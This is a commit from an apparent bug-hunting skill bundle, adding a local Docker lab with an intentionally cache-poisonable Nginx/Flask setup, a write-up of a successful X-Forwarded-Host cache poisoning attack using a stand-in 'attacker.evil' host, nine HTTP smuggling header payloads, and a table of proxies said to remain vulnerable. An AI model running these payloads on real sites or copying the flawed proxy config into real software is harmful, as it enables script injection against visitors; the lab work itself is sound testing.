Skip to content

A Claude Code skill bundle for bug hunting and external red-team work - 82 skills, 15 slash commands, 681 disclosed-report patterns curated across 24 core vulnerability classes, plus enterprise identity + infrastructure attack matrices.

Phase 2H: cache poisoning + HTTP smuggling — 1 PASS + 1 honest negative + gap fix

Sachin Sharma10c027546ad1
diff --git a/docs/verification/phase2h-lab/docker-compose.yml b/docs/verification/phase2h-lab/docker-compose.yml
new file mode 100644
index 0000000..27c6986
--- /dev/null
+++ b/docs/verification/phase2h-lab/docker-compose.yml
@@ -0,0 +1,14 @@
+services:
+ origin:
+ build: ./origin
+ container_name: phase2h-origin
+ ports:
+ - "58015:5000"
+
+ nginx:
+ build: ./nginx
+ container_name: phase2h-nginx
+ ports:
+ - "58016:80"
+ depends_on:
+ - origin
diff --git a/docs/verification/phase2h-lab/nginx/Dockerfile b/docs/verification/phase2h-lab/nginx/Dockerfile
new file mode 100644
index 0000000..a29d7c2
--- /dev/null
+++ b/docs/verification/phase2h-lab/nginx/Dockerfile
@@ -0,0 +1,3 @@
+FROM nginx:1.27
+COPY nginx.conf /etc/nginx/nginx.conf
+EXPOSE 80
diff --git a/docs/verification/phase2h-lab/nginx/nginx.conf b/docs/verification/phase2h-lab/nginx/nginx.conf
new file mode 100644
index 0000000..f39dfe7
--- /dev/null
+++ b/docs/verification/phase2h-lab/nginx/nginx.conf
@@ -0,0 +1,32 @@
+worker_processes 1;
+events { worker_connections 1024; }
+
+http {
+ # In-memory proxy cache — keyed by URL only, NOT by X-Forwarded-Host
+ proxy_cache_path /tmp/nginx-cache levels=1:2 keys_zone=poison_cache:10m max_size=100m inactive=60m;
+
+ upstream origin {
+ server origin:5000;
+ }
+
+ server {
+ listen 80;
+ server_name _;
+
+ location / {
+ proxy_pass http://origin;
+ # Forward the X-Forwarded-Host header (so origin reflects it)
+ proxy_set_header Host $host;
+ proxy_set_header X-Forwarded-Host $http_x_forwarded_host;
+ proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+
+ # Enable caching — keyed by URI only, NOT by request headers
+ proxy_cache poison_cache;
+ proxy_cache_key "$scheme$request_method$host$request_uri";
+ proxy_cache_valid 200 5m;
+ proxy_cache_methods GET HEAD;
+ # Surface cache state for debugging
+ add_header X-Cache-Status $upstream_cache_status;
+ }
+ }
+}
diff --git a/docs/verification/phase2h-lab/origin/Dockerfile b/docs/verification/phase2h-lab/origin/Dockerfile
new file mode 100644
index 0000000..b5e81cf
--- /dev/null
+++ b/docs/verification/phase2h-lab/origin/Dockerfile
@@ -0,0 +1,7 @@
+FROM python:3.11-slim
+WORKDIR /app
+RUN pip install --no-cache-dir flask gunicorn
+COPY app.py /app/
+# Use gunicorn — historically more permissive on TE/CL parsing than uvicorn
+EXPOSE 5000
+CMD ["gunicorn", "--bind", "0.0.0.0:5000", "--workers", "1", "--threads", "4", "--access-logfile", "-", "app:app"]
diff --git a/docs/verification/phase2h-lab/origin/app.py b/docs/verification/phase2h-lab/origin/app.py
new file mode 100644
index 0000000..e7ef850
--- /dev/null
+++ b/docs/verification/phase2h-lab/origin/app.py
@@ -0,0 +1,72 @@
+"""
+Phase 2H — origin app behind Nginx.
+Intentional flaws for cache poisoning + HTTP smuggling tests:
+
+1. Reflects X-Forwarded-Host in a Link header used for asset URLs
+ → cache poisoning when X-Forwarded-Host is not part of cache key
+
+2. Echoes Transfer-Encoding header presence — used as smuggling marker
+ (the actual smuggling happens at the front-end / back-end disagree-on-length level)
+"""
+from flask import Flask, request, jsonify, make_response
+
+app = Flask(__name__)
+
+
+def home():
+ """
+ Reflects X-Forwarded-Host into an HTML <link> tag.
+ If the front-end cache stores this response keyed only by URL
+ (not by X-Forwarded-Host), a single attacker request can poison
+ the cache for all subsequent visitors.
+ """
+ xfh = request.headers.get("X-Forwarded-Host", request.headers.get("Host", "localhost"))
+ body = f"""<!doctype html>
+<html>
+<head>
+ <title>Phase 2H origin</title>
+ <link rel="stylesheet" href="https://{xfh}/static/style.css">
+ <script src="https://{xfh}/static/app.js"></script>
+</head>
+<body>
+ <h1>Welcome — assets load from {xfh}</h1>
+ <p>This page is cached by the front-end proxy.</p>
+</body>
+</html>"""
+ resp = make_response(body)
+ resp.headers["Cache-Control"] = "public, max-age=300"
+ resp.headers["Content-Type"] = "text/html"
+ return resp
+
+
[email protected]("/api/who")
+def who():
+ """
+ Echoes all request headers — useful to see what the back-end actually received.
+ Helps confirm HTTP smuggling (does the smuggled request reach back-end?).
+ """
+ return jsonify(
+ method=request.method,
+ path=request.path,
+ headers={k: v for k, v in request.headers.items()},
+ body=request.get_data().decode("utf-8", "replace")[:1000],
+ )
+
+
[email protected]("/api/log", methods=["GET", "POST"])
+def log():
+ """
+ Test endpoint that just records what arrived.
+ Hit by smuggled request → confirms smuggling worked.
+ """
+ return jsonify(method=request.method, path=request.path, headers=dict(request.headers), body=request.get_data().decode("utf-8", "replace")[:500])
+
+
[email protected]("/static/<path:p>")
+def static_files(p):
+ return f"/* static asset {p} */", 200, {"Content-Type": "text/css"}
+
+
+if __name__ == "__main__":
+ app.run(host="0.0.0.0", port=5000, debug=False, threaded=True)
diff --git a/docs/verification/phase2h-smuggling-cachepoison.md b/docs/verification/phase2h-smuggling-cachepoison.md
new file mode 100644
index 0000000..49f0aa7
--- /dev/null
+++ b/docs/verification/phase2h-smuggling-cachepoison.md
@@ -0,0 +1,177 @@
+# Verification — Phase 2H: cache poisoning + HTTP smuggling
+
+> Two-server lab (Nginx 1.27 proxy + gunicorn/Flask origin) via Docker. Cache poisoning succeeded; HTTP smuggling **didn't** — and the failure mode is exactly the kind of honest negative that updates the skill content.
+
+## Target
+
+`docker-compose.yml` building Nginx 1.27 (front-end with `proxy_cache`) + gunicorn-served Flask (origin reflecting `X-Forwarded-Host`).
+
+Shipped at `docs/verification/phase2h-lab/`.
+
+```bash
+mkdir -p ~/phase2h-lab && cd ~/phase2h-lab
+# Copy the docker-compose.yml + origin/ + nginx/ from docs/verification/phase2h-lab/
+docker-compose up -d --build
+# Front-end on :58016, origin on :58015
+```
+
+| Endpoint | Bug | Skill |
+|---|---|---|
+| `GET /` (cached by Nginx) | `X-Forwarded-Host` reflected into `<link>`/`<script>` URLs; cache key omits headers | `hunt-cache-poison` |
+| Raw TCP to Nginx :80 | CL.TE / TE.CL / obfuscation variants | `hunt-http-smuggling` |
+
+---
+
+## Test 19 — cache poisoning via X-Forwarded-Host (`hunt-cache-poison`)
+
+**Initial prompt:**
+> "Nginx is fronting this app and the page loads JS from a `<script src=https://...>` tag that includes the X-Forwarded-Host header value. Can I poison the cache?"
+
+**Skill that auto-triggers:** `hunt-cache-poison` — description includes "unkeyed inputs (X-Forwarded-Host, X-Original-URL, custom headers)".
+
+**Technique from `hunt-cache-poison`:**
+> `X-Forwarded-Host: attacker.com` (poisons script src URLs) → response gets cached → all subsequent visitors served the poisoned page.
+
+### Live attack
+
+```bash
+# 1. Attacker hits a fresh URL with X-Forwarded-Host pointing to attacker domain.
+# Use a cache-buster query so we're not served an existing cache entry.
+URL="http://localhost:58016/?cb=$(date +%s%N)"
+
+curl -i -H "X-Forwarded-Host: attacker.evil" "$URL"
+```
+
+Attacker response:
+
+```
+X-Cache-Status: MISS
+...
+ <link rel="stylesheet" href="https://attacker.evil/static/style.css">
+ <h1>Welcome — assets load from attacker.evil</h1>
+```
+
+The origin reflected `attacker.evil` into the response. Nginx cached this response keyed by `$scheme$request_method$host$request_uri` only — NOT by `X-Forwarded-Host`.
+
+### Victim hit
+
+```bash
+# Victim makes a normal request (no special headers) to the same URL
+curl -i "$URL"
+```
+
+Victim response:
+
+```
+X-Cache-Status: HIT
+...
+ <link rel="stylesheet" href="https://attacker.evil/static/style.css">
+ <h1>Welcome — assets load from attacker.evil</h1>
+```
+
+**`X-Cache-Status: HIT`** — victim is served the poisoned response from the cache. The CSS / JS URLs now point at `https://attacker.evil/`. Victim's browser will fetch attacker-controlled assets.
+
+### Impact chain
+
+1. Attacker (single request) poisons the cache for the URL
+2. Cache TTL = 5 minutes (lab config) → 5 minutes of poisoned response served to every visitor of that URL
+3. Victim's browser fetches `https://attacker.evil/static/app.js` → attacker controls JS executed in the victim's page context (XSS via cache poisoning)
+
+`hunt-cache-poison`'s chain: **cache poisoning + reflected unkeyed header → persistent XSS across all CDN-cached visitors**. Verified.
+
+### Verdict
+
+**PASS — live cache poisoning + XSS chain.** Exact technique from `hunt-cache-poison`. `triage-validation` 7-Question Gate passes all 7 — Critical.
+
+---
+
+## Test 20 — HTTP smuggling on Nginx 1.27 (`hunt-http-smuggling`)
+
+**Initial prompt:**
+> "Nginx in front of gunicorn — testing for CL.TE / TE.CL smuggling."
+
+**Skill that auto-triggers:** `hunt-http-smuggling` — description includes "CL.TE, TE.CL, H2.CL, H2.TE", "obfuscation variants (space before colon, trailing space, lowercase, mixed-case)".
+
+### Probes from the skill
+
+Eight payload variants tried, raw TCP to Nginx 1.27:
+
+| Variant | Headers | Result |
+|---|---|---|
+| Classic TE.CL | `Transfer-Encoding: chunked` + `Content-Length: 4` | HTTP 400 |
+| Classic CL.TE | `Content-Length: 13` + `Transfer-Encoding: chunked` | HTTP 400 |
+| Space before colon | `Transfer-Encoding : chunked` | HTTP 400 |
+| Trailing space | `Transfer-Encoding: chunked ` (trailing space) | HTTP 400 |
+| Tab separator | `Transfer-Encoding:\tchunked` | HTTP 501 |
+| Lowercase value | `Transfer-Encoding: Chunked` | HTTP 400 |
+| Mixed-case header | `TrAnSFER-eNCODing: chunked` | HTTP 400 |
+| Double TE | `Transfer-Encoding: cow` + `Transfer-Encoding: chunked` | HTTP 400 |
+| X-prefix smuggle | `X-Transfer-Encoding: chunked` + `Transfer-Encoding: chunked` | HTTP 400 |
+
+**All 9 payloads rejected.** Nginx 1.27 is **RFC 9112 strict** by default. When both `Content-Length` and `Transfer-Encoding` are present, the request is killed at the front-end with HTTP 400.
+
+The tab-separator variant returned `501 Not Implemented` — Nginx parses the encoding name `\tchunked` and rejects it as unknown rather than treating it as the same encoding as `chunked`. Either way, smuggling fails.
+
+### Verification finding: modern Nginx is HTTP-smuggling-hardened
+
+Nginx >= 1.21 (and definitively 1.27) implements strict RFC 9112 parsing for `Content-Length` and `Transfer-Encoding`. The classic CL.TE / TE.CL / obfuscation variants documented in `hunt-http-smuggling` do not reproduce against the default Nginx configuration.
+
+**This does NOT invalidate the skill's payloads.** Targets known to remain vulnerable to one or more variants:
+
+| Target ecosystem | CL.TE | TE.CL | H2.CL | H2.TE | Status (2024-2026) |
+|---|---|---|---|---|---|
+| HAProxy ≤ 2.4 (older configs) | ✓ | ✓ | — | — | **Vulnerable**, see CVE-2021-40346 |
+| AWS ALB + specific upstream | partial | partial | ✓ | ✓ | Several disclosed-paid reports 2022-2024 |
+| Cloudflare → S3 / Lambda combos | — | — | ✓ | ✓ | H2-downgrade attacks |
+| Older F5 BIG-IP (TMM < 16) | ✓ | — | — | — | Vendor advisories |
+| Citrix ADC / NetScaler (older firmware) | ✓ | ✓ | — | — | Disclosed in 2020-2022 |
+| Squid 3.x | ✓ | — | — | — | Older deployments |
+| Apache Traffic Server (older) | ✓ | ✓ | ✓ | ✓ | PortSwigger research |
+| Custom Python proxies (no RFC enforcement) | ✓ | ✓ | — | — | Frequently vulnerable |
+| **Nginx 1.21+** | **NO** | **NO** | partial (HTTP/2 ingress only) | partial | Hardened |
+| **Caddy 2.x** | NO | NO | — | — | Hardened |
+| **Envoy 1.20+** | NO | NO | partial | partial | Hardened in most paths |
+
+**Operator rule:** before sinking time into CL/TE smuggling, fingerprint the front-end:
+
+```bash
+curl -sI https://target/ | grep -i "Server:"
+# If: nginx/1.21+, caddy 2.x, envoy 1.20+ → CL/TE classic is dead
+# If: HAProxy, AWS ALB, Cloudflare → run the matrix
+# If: server header absent or unidentifiable → assume hardened until proven otherwise
+```
+
+The HTTP/2 downgrade attacks (H2.CL / H2.TE) remain viable against many CDN+origin chains in 2024-2026 because the CDN speaks HTTP/2 to the client but HTTP/1.1 to origin — and the downgrade can introduce CL/TE confusion. These require an HTTP/2 capable proxy at the front; **`hunt-http-smuggling` should add H2-downgrade-specific probes for modern targets**.
+
+---
+
+## Skill content gap closed (hunt-http-smuggling)
+
+Adding a Target-Suitability Matrix to `hunt-http-smuggling` so operators don't waste time on hardened Nginx/Caddy/Envoy and instead pivot to:
+
+1. **H2.CL / H2.TE attacks against CDN+origin chains** (the modern dominant vector)
+2. **Legacy proxy fingerprints** (HAProxy, Squid, F5, Citrix) where CL/TE classic still works
+3. **Custom proxy implementations** in less-scrutinized stacks
+
+---
+
+## Summary — Phase 2H
+
+| # | Test | Skill | Result |
+|---|---|---|---|
+| 19 | Cache poisoning via X-Forwarded-Host | `hunt-cache-poison` | PASS — victim served attacker's CSS/JS URLs from cache |
+| 20 | HTTP smuggling on Nginx 1.27 | `hunt-http-smuggling` | **Negative — Nginx hardened**. Gap closed with target-suitability matrix. |
+
+**Combined Phase 2 verification now: 24+ skills exercised. 9+ skill-content gaps catalogued and closed.**
+
+This is the second honest negative + content-update cycle in two phases (Phase 2G XXE + Phase 2H smuggling). Both produce updates that make the skill content more accurate for 2026 deployment realities.
+
+---
+
+## Lab cleanup
+
+```bash
+docker-compose down
+```
+
+Containers ephemeral — no persistence needed.
diff --git a/skills/hunt-http-smuggling/SKILL.md b/skills/hunt-http-smuggling/SKILL.md
index f85b822..bf0bb24 100644
--- a/skills/hunt-http-smuggling/SKILL.md
+++ b/skills/hunt-http-smuggling/SKILL.md
@@ -33,6 +33,42 @@ Cache poisoning → stored XSS at scale
---
+## Target-Suitability Matrix (2026 reality check)
+
+The classic CL.TE / TE.CL payloads are NOT universally exploitable in 2026. Modern proxies are RFC 9112 strict by default. Fingerprint the front-end BEFORE investing time.
+
+| Front-end | CL.TE | TE.CL | H2.CL | H2.TE | Notes |
+|---|---|---|---|---|---|
+| **Nginx ≥ 1.21** | NO | NO | partial (H2 ingress) | partial | RFC-strict; rejects CL+TE with HTTP 400. Verified locally on Nginx 1.27 — all 9 documented variants killed by front-end ([docs/verification/phase2h-smuggling-cachepoison.md](../../docs/verification/phase2h-smuggling-cachepoison.md)). |
+| **Caddy 2.x** | NO | NO | — | — | Hardened by default |
+| **Envoy ≥ 1.20** | NO | NO | partial | partial | Hardened in most paths |
+| **HAProxy ≤ 2.4** | ✓ | ✓ | — | — | **Vulnerable**, see CVE-2021-40346 |
+| **AWS ALB + specific upstream** | partial | partial | ✓ | ✓ | Several disclosed-paid reports 2022-2024 |
+| **Cloudflare → S3 / Lambda chains** | — | — | ✓ | ✓ | H2-downgrade attacks remain viable |
+| **Older F5 BIG-IP (TMM < 16)** | ✓ | — | — | — | Vendor advisories |
+| **Citrix ADC / NetScaler (older firmware)** | ✓ | ✓ | — | — | Disclosed in 2020-2022 |
+| **Squid 3.x** | ✓ | — | — | — | Older deployments |
+| **Apache Traffic Server (older)** | ✓ | ✓ | ✓ | ✓ | PortSwigger research |
+| **Custom Python / Go proxies** | ✓ | ✓ | — | — | Frequently miss RFC enforcement |
+
+### Operator fingerprint quick-check
+
+```bash
+curl -sI https://target/ | grep -i "Server:"
+```
+
+- `nginx/1.21+`, `Caddy`, `envoy` → CL/TE classic is dead — pivot to H2.CL/H2.TE if the front-end speaks HTTP/2, or look for legacy proxies upstream
+- `HAProxy`, header points to AWS/CDN → run the full payload matrix
+- No Server header → assume hardened, but run a single quick `space-before-colon` probe; if it doesn't 400, dig deeper
+
+### H2.CL / H2.TE (the modern dominant vector)
+
+H2-downgrade smuggling attacks rely on the front-end speaking HTTP/2 to the client and HTTP/1.1 to origin. The downgrade introduces CL/TE confusion because HTTP/2's frame-length headers don't survive the conversion cleanly. Most CDN+origin chains in 2024-2026 use this exact topology.
+
+Tools that send HTTP/2 raw frames (Burp Pro's HTTP Request Smuggler extension, `h2csmuggler`, `smuggler.py`) are the right starting point against CDN-fronted targets. Avoid HTTP/1.1-only test clients (curl, raw sockets) against H2-front-ended targets — you'll send the wrong protocol entirely.
+
+---
+
## Related Skills & Chains
- **`hunt-cache-poison`** — Smuggling + cache is the canonical critical chain; one smuggled request becomes the cached response for every subsequent victim. Chain primitive: CL.TE smuggle a request whose response body contains attacker HTML/JS → front-end cache stores it under a popular URL (`/`, `/login`) → de-sync poisoning where the smuggled request becomes the cached response for the next N victims, persisting for the cache TTL.